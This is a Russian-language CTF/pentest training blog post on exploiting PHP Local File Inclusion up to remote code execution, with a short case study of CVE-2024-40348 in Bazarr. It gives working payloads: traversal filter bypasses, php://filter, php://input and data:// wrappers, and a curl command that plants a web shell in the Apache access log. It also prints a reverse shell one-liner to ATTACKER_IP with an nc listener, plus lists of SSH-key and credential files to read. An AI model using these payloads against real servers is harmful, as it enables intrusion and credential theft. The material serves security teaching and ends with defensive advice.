Главная / Блог / LFI уязвимость эксплуатация: от passwd до RCE

13 мин.00

LFI уязвимость эксплуатация: от passwd до RCE

LFI уязвимость эксплуатация: от passwd до RCE

CVE-2024-40348 — CVSS 8.2, один GET-запрос к /api/swaggerui/static в Bazarr v1.4.3, ноль аутентификации, чтение произвольных файлов на сервере. PoC на GitHub (bigb0x/CVE-2024-40348, 31 звезда) вытягивает /etc/passwd одной строкой. На CTF задачи с LFI уязвимостью выглядят точно так же: уязвимый параметр, пачка ../, содержимое /etc/passwd в ответе — и ступор. Девять из десяти участников тормозят именно тут, хотя между «прочитал passwd» и «получил shell» лежат пять-шесть конкретных техник, которые перебираются системно. Разберу полную цепочку эксплуатации LFI — от подтверждения включения файлов до reverse shell через log poisoning и PHP wrappers, с разбором каждого шага и типичных тупиков.

LFI и File Retrieval: как отличить включение локальных файлов от чтения

Первое, что нужно выяснить на CTF — тип уязвимости. Не каждое чтение файла через ../ — это LFI. Как описано в исследовании dr34mhacks, различие между Local File Inclusion и Arbitrary File Retrieval определяет весь дальнейший вектор эксплуатации. Подробнее — в нашем подробном разборе создание ctf заданий.

Local File Inclusion возникает при эксплуатации include функций PHP — include(), require(), include_once(), require_once(). Ключевой момент: включённый файл выполняется интерпретатором. Подключили config.php — PHP отработает скрипт. Увидите результат выполнения или пустую страницу, но не исходный код.

Arbitrary File Retrieval — приложение читает файл и отдаёт содержимое как текст. За это отвечают file_get_contents(), readfile(), fopen() + fread(). PHP-скрипт отобразится как plain text — исходный код на ладони.

Быстрый тест: подставьте в уязвимый параметр путь к известному PHP-файлу приложения (например, index.php). Видите исходный код с тегами <?php — File Retrieval. Видите результат выполнения или пустую страницу — LFI. При File Retrieval ищите credentials в конфигах. При LFI — стройте цепочку до удалённого выполнения кода через LFI.

Бизнес-логика атаки: злоумышленник через включение локальных файлов читает конфигурации (пароли к БД, API-ключи), вытягивает исходный код приложения для поиска дальнейших дыр и в итоге получает RCE для закрепления на сервере. В классификации MITRE ATT&CK это техника T1190 — Exploit Public-Facing Application (тактика Initial Access). По данным Mandiant M-Trends 2025, exploits — главный вектор начального доступа с долей 38% инцидентов. В OWASP Top 10 LFI подпадает под A03:2021 — Injection. Корневая слабость по MITRE CWE — CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program (likelihood: High).

Path traversal уязвимость: обход директорий и фильтров

Directory traversal атака — фундамент LFI эксплуатации. Последовательность ../ позволяет выпрыгнуть из директории, куда приложение ограничивает доступ, и дотянуться до произвольного файла на сервере.

Базовый пейлоад для чтения /etc/passwd уязвимость: ../../../../etc/passwd. Количество ../ зависит от глубины текущей директории. Если приложение включает файлы из /var/www/html/pages/, нужно четыре уровня до корня файловой системы. На практике проще кинуть 8-10 последовательностей — лишние ../ от корня ОС просто игнорирует.

Для Windows цели другие: ..\..\..\..\windows\win.ini или ..\..\..\..\windows\system32\drivers\etc\hosts.

Типичные фильтры и обходы:

Фильтр Обход Пример
Замена ../ на пустую строку Двойное вложение ....//....//etc/passwd
Блокировка ../ в начале Абсолютный путь /etc/passwd
Простой URL-decode Двойное URL-кодирование %252e%252e%252f
Блокировка ключевых слов (passwd) Альтернативные файлы /etc/hosts, /proc/self/cmdline

По рекомендациям Invicti, базовая санитизация и blocklist-подходы никогда не спасают — атакующие обходят их через кодирование, truncation-трюки и альтернативные представления путей. Блоклист — это иллюзия защиты.

Null byte injection LFI и path truncation

Если приложение конкатенирует расширение к пользовательскому вводу — include($file . ".php") — атакующему нужно «обрезать» добавленный суффикс. Два рабочих метода.

Null byte (%00) — работает на PHP ниже 5.3.4. Null byte — символ-терминатор строки в C, на котором построен PHP. Файловая система видит %00 и обрезает всё после: пейлоад page=../../../../etc/passwd%00 формирует строку /etc/passwd\0.php, но ОС открывает /etc/passwd. На современных версиях PHP этот вектор мёртв, но на CTF задачи со старым PHP всплывают регулярно. Версию можно определить через заголовок X-Powered-By в HTTP-ответе или вывод phpinfo().

Path truncation — альтернатива для PHP 5.3+. В старых версиях PHP максимальная длина пути составляла 256 символов (Windows) или 4096 (Linux). Если путь превышает лимит — PHP обрезает хвост. Пейлоад: ../../../../etc/passwd + несколько сотен символов /. — суффикс .php вылетает за лимит и отбрасывается.

Техника Версия PHP Предусловие Результат
Null byte %00 < 5.3.4 include($file.".php") Обход конкатенации расширения
Path truncation < 5.3 (с оговорками) Длина пути > лимит ОС Обрезание суффикса
Двойное вложение Любая Замена ../ на "" Обход строковой замены
URL double-encode Любая WAF перед приложением Обход WAF-правил

PHP wrapper LFI: от чтения исходников до выполнения кода

PHP wrappers (обёртки потоков) — встроенные протоколы для обращения к разным источникам данных. Для эксплуатации LFI уязвимости нужны три: php://filter, php://input и data://. Каждый решает свою задачу в цепочке CTF web эксплуатации.

php://filter для эксплуатации include функций PHP

include() выполняет PHP-файл, а не показывает его код. Обёртка php://filter пропускает содержимое файла через фильтр (base64-кодирование) до передачи интерпретатору. Закодированная строка не содержит тегов <?php — и выводится как обычный текст.

Пейлоад: page=php://filter/convert.base64-encode/resource=config.php. В ответе приходит base64-строка. Декодирование: echo "строка" | base64 -d — и перед вами исходный код config.php с паролями и ключами. Стандартный приём php://filter эксплуатации на CTF.

Что читать через php://filter на соревнованиях:

  • config.php, db.php, database.php — credentials для базы данных
  • index.php, login.php — логика аутентификации и фильтрации ввода
  • .htpasswd — хеши паролей для HTTP Basic Auth
  • flag.php — иногда флаг лежит как PHP-переменная

Продвинутый вариант — php filter chain LFI. Исследователи показали, что через последовательное применение фильтров convert.iconv можно генерировать произвольный текст, включая PHP-код, без записи на диск. Это превращает php://filter из инструмента чтения в инструмент RCE. На CTF уровня hard/insane (HackTheBox, TryHackMe) такие задачи уже появляются — и их становится больше.

php://input и data:// — прямой путь к LFI to RCE

Если в php.ini стоит allow_url_include = On, открываются обёртки для прямого выполнения кода без записи на диск.

php://input читает сырое тело POST-запроса. Пейлоад: GET-запрос с page=php://input, а в теле POST — PHP-код <?php system('id'); ?>. Интерпретатор «включает» содержимое body и выполняет его.

data:// передаёт данные прямо в URL: page=data://text/plain,<?php system('id'); ?> или в base64: page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==. На DVWA этот вектор работает на уровне Low «из коробки» — можно проверить за минуту.

Ограничение: allow_url_include выключена по умолчанию начиная с PHP 5.2, и на продовых серверах её практически не включают. Но на CTF-стендах — другое дело. Проверить можно через phpinfo() или косвенно: если php://input возвращает результат выполнения вместо ошибки — опция включена.

Log poisoning LFI: отравление логов до reverse shell

Log poisoning (отравление логов) — основной метод LFI to RCE, когда allow_url_include выключена и filter chains не применимы. Идея простая: записать PHP-код в файл на сервере, затем включить этот файл через LFI. Веб-сервер записывает заголовки запросов в лог-файлы, а заголовок User-Agent полностью контролируется атакующим. Вот и весь фокус.

Предусловия (все одновременно):

  • Подтверждённая LFI в PHP-приложении (CWE-98)
  • Лог-файл доступен для чтения через LFI (у www-data есть права)
  • Лог содержит пользовательский ввод (User-Agent, Referer)
  • PHP-интерпретатор обрабатывает включённый файл

В терминах CWE это связка: CWE-98 (некорректный контроль include-путей) создаёт условие для CWE-78 — Improper Neutralization of Special Elements used in an OS Command. По MITRE, CWE-78 описывает ситуацию, когда продукт конструирует команду ОС из внешнего ввода без нейтрализации спецсимволов. Likelihood обоих — High.

Отравление access.log: пошаговая эксплуатация

Шаг первый: убедись, что лог доступен. Подставь в уязвимый параметр путь page=../../../../var/log/apache2/access.log. Если в ответе строки лога с IP-адресами, датами и User-Agent — файл читается. Не нашли? Пробуй альтернативные пути: /var/log/httpd/access_log (CentOS), /var/log/nginx/access.log, /var/log/apache2/error.log.

Шаг второй: отправь запрос с PHP-пейлоадом в User-Agent:

curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  http://target.ctf/index.php

Apache записывает User-Agent в access.log. Теперь лог содержит исполняемый PHP-код. Экранирование \$_GET обязательно в bash, иначе shell подставит значение переменной — и вместо пейлоада в лог улетит пустота.

Шаг третий: включи отравленный лог и передай команду: page=../../../../var/log/apache2/access.log&cmd=id. PHP встречает тег <?php, выполняет system('id'), выводит uid=33(www-data). Для reverse shell используйте URL-encoded вариант: cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'. На атакующей машине — nc -lvnp 4444.

Типичные тупики при log poisoning LFI:

  • Лог слишком большой — PHP не может обработать файл целиком, ответ обрывается или приложение падает. Берите error.log — он компактнее access.log
  • PHP-код «ломается» при повторной отправке — если кинуть пейлоад дважды, в логе окажутся два PHP-тега, и синтаксическая ошибка в одном сломает весь вывод. Правило: одна точная попытка, без повторов
  • Путь к логу нестандартный — фаззить wordlist-ом (см. раздел ниже)
  • Кавычки в User-Agent ломают формат лога — некоторые конфигурации Apache экранируют спецсимволы. Попробуйте Referer вместо User-Agent

На практике самая частая боль — именно повторная отправка. Отправил кривой пейлоад, лог сломался, и дальше каждое включение access.log возвращает ошибку парсинга. На CTF это означает перезапуск стенда. На реальном сервере — access.log ротируется, и можно дождаться свежего файла (или переключиться на error.log).

/proc/self/environ и PHP session poisoning

Помимо логов, есть ещё два вектора записи PHP-кода на сервер.

/proc/self/environ — файл в procfs Linux, содержащий переменные окружения текущего процесса. Среди них — HTTP_USER_AGENT, который контролирует атакующий. Если www-data имеет права на чтение /proc/self/environ (бывает на криво настроенных серверах), схема аналогична отравлению логов: запрос с PHP-кодом в User-Agent, включение /proc/self/environ через LFI — код выполняется. На современных дистрибутивах доступ обычно закрыт, но на CTF проверять стоит всегда.

PHP session poisoning работает, если приложение хранит сессии в файлах (по умолчанию /var/lib/php/sessions/ или /tmp/) и пользовательский ввод попадает в данные сессии без санитизации. Типичный сценарий: приложение сохраняет username в $_SESSION['user']. Атакующий «регистрируется» с именем <?php system($_GET['cmd']); ?>, PHP записывает его в файл сессии sess_<PHPSESSID>. Затем через LFI этот файл включается. Имя файла предсказуемо: sess_ + значение cookie PHPSESSID, которое видно в браузере.

SSH auth logs — экзотика. Атакующий инициирует SSH-подключение с username, содержащим PHP-код. Код записывается в /var/log/auth.log, который потом включается через LFI. На CTF встречается редко, но в реальных пентестах задокументировано.

Предусловия эксплуатации: какая техника когда работает

Сводная таблица — чтобы на CTF не перебирать вслепую, а сразу понимать, какой вектор тянуть первым.

Техника Версия PHP Предусловие на сервере Результат Частота на CTF
Path traversal Любая Нет валидации пути Чтение файлов Высокая
php://filter Любая Нет Чтение исходников (base64) Высокая
Null byte %00 < 5.3.4 include($f.".php") Обход расширения Средняя
php://input Любая allow_url_include=On RCE Средняя
data:// Любая allow_url_include=On RCE Средняя
Log poisoning Любая Доступ на чтение access.log RCE Высокая
Session poisoning Любая Ввод в $_SESSION без фильтра RCE Низкая
/proc/self/environ Любая Права чтения /proc RCE Низкая
PHP filter chains 7.0+ Нет RCE без записи на диск Растёт

Порядок проверки на CTF: path traversal (подтверждение LFI) → php://filter (чтение исходников) → log poisoning (если нужен RCE) → php://input/data:// (если allow_url_include включена) → session poisoning и /proc/self/environ (крайние варианты).

CTF web эксплуатация: фаззинг LFI параметров

На CTF уязвимый параметр не всегда очевиден. page, file, template, include, path, doc, view, content, lang — первые кандидаты. Но включение файлов бывает спрятано в cookie, HTTP-заголовке или POST-параметре.

Систематический поиск через ffuf:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
  -u "http://target.ctf/index.php?PARAM=../../../../etc/passwd" \
  -fs 0 -mc 200

Флаг -fs 0 фильтрует пустые ответы, -mc 200 оставляет только HTTP 200. В выводе — параметры, через которые /etc/passwd читается. Для фаззинга путей берите wordlist из SecLists: Fuzzing/LFI/LFI-Jhaddix.txt содержит типовые пути с разным количеством ../ и различными целевыми файлами.

Ключевые файлы для чтения через LFI на Linux:

  • /etc/passwd — подтверждение LFI, список пользователей системы
  • /etc/shadow — хеши паролей (обычно недоступен для www-data)
  • /proc/self/environ — переменные окружения, вектор RCE
  • /var/log/apache2/access.log, /var/log/nginx/access.log — логи для poisoning
  • /var/lib/php/sessions/sess_<ID> — файлы сессий PHP
  • /proc/self/cmdline — командная строка текущего процесса
  • /home/<user>/.ssh/id_rsa — приватные ключи SSH (если повезёт с правами)
  • .env, wp-config.php — конфигурации приложений с credentials

Как отмечает Invicti, пользовательский ввод может приходить не только из query-параметров, но и из cookies, заголовков (включая User-Agent) или значений POST-запросов. На CTF нестандартные точки входа — любимый способ авторов задач усложнить жизнь.

CVE-2024-40348: directory traversal атака в Bazarr без аутентификации

Реальная уязвимость, которая иллюстрирует всё описанное выше. CVE-2024-40348 затрагивает Bazarr v1.4.3 — менеджер субтитров для медиасерверов. Уязвимый компонент: /api/swaggerui/static. Описание из NVD: «An issue in the component /api/swaggerui/static of Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal».

Характеристики:

  • CVSS: 8.2 (HIGH)
  • Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L — атака по сети, низкая сложность, без привилегий, без взаимодействия пользователя, высокое влияние на конфиденциальность
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
  • EPSS: 0.0822 (percentile 0.9493 — top 10% среди всех CVE по вероятности эксплуатации в течение 30 дней)

CISA классифицировала решение по SSVC как «Track*» (следить и готовить патч): PoC доступен публично, эксплуатация автоматизируема, техническое воздействие — partial. На GitHub лежит PoC-репозиторий bigb0x/CVE-2024-40348, который читает /etc/passwd с уязвимого сервера одним запросом. Также есть template для Nuclei (http/cves/2024/CVE-2024-40348.yaml) для автоматизации обнаружения.

Эта уязвимость — пример Arbitrary File Retrieval, а не LFI в строгом смысле: файлы читаются, но не выполняются. Однако через чтение конфигурационных файлов Bazarr атакующий может утянуть API-ключи к связанным сервисам (Sonarr, Radarr) и развить атаку дальше — классическая цепочка эксплуатации уязвимостей.

Для CTF-контекста: задания на directory traversal часто моделируют именно такие реальные CVE. Механика одинаковая — ../ в параметр пути, обход фильтров, чтение целевого файла. Отличие продовой уязвимости — в масштабе последствий и возможности автоматизации.

Защита — MITRE D3FEND рекомендует для противодействия T1190 (Exploit Public-Facing Application): Protocol Metadata Anomaly Detection (D3-PMAD) для обнаружения аномальных паттернов в запросах и Inbound Traffic Filtering (D3-ITF) для блокировки известных пейлоадов. На практике WAF-правило, блокирующее ../ и %2e%2e%2f в URL и параметрах, останавливает примитивные попытки, но не двойное кодирование и не filter chains. По OWASP, рабочая защита — whitelist допустимых файлов через array_key_exists(), basename() для отсечения путей и директива open_basedir в php.ini, ограничивающая область файловой системы, доступную PHP (A05:2021 — Security Misconfiguration).

Последние пару лет наблюдаю одну и ту же картину: участники CTF учат LFI как «подставь ../../../etc/passwd и готово». На задачах уровня easy этого хватает. На medium и выше — нет. Реальная ценность понимания LFI — не в конкретных пейлоадах, а в логике: вы контролируете путь к файлу, который выполняется интерпретатором. Это не чтение — это выполнение. И если можете записать что-то в любой файл на сервере (лог, сессию, environ), вы контролируете исполнение кода.

На пентестах картина аналогичная. Чистая LFI без возможности эскалации до RCE встречается примерно в трети случаев — в остальных есть лог с пользовательским вводом, есть сессия с несанитизированными данными, есть /proc/self/environ с открытыми правами. Проблема не в технике — проблема в системности: нужно перебрать все векторы записи, прежде чем делать вывод «RCE невозможен».

Отдельная тема, которую русскоязычные материалы обходят стороной — PHP filter chains для генерации произвольного контента через php://filter без записи на диск. Направление активно развивается, задачи с ним становятся нормой на HackTheBox и TryHackMe. Если хочется не только читать writeup-ы, а собирать цепочку самостоятельно от нуля — на WAPT эту технику проходят в отдельных модулях с лабами на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Реверс-инжиниринг crackme в Ghidra: пишем кейген

12 мин.

1

Реверс-инжиниринг crackme в Ghidra: пишем кейген

Разбираем crackme в Ghidra: находим проверку пароля через XREF, восстанавливаем XOR-алгоритм, пишем кейген на Python за 5 строк. Практический гайд.

11 НОЯБРЬ, 2026

TryHackMe vs HackTheBox vs HackerLab для новичков

15 мин.

4

TryHackMe vs HackTheBox vs HackerLab для новичков

Сравнение TryHackMe, Hack The Box и HackerLab: цены, формат обучения, доступность из РФ, ограничения каждой платформы. Пошаговый план выбора для новичка.

11 НОЯБРЬ, 2026

Buffer Overflow для начинающих: перезаписываем EIP

9 мин.

1

Buffer Overflow для начинающих: перезаписываем EIP

Компилируем уязвимый бинарь, находим offset через cyclic в GDB, перезаписываем EIP адресом win() и получаем shell. Полная цепочка ret2win с pwntools.

10 НОЯБРЬ, 2026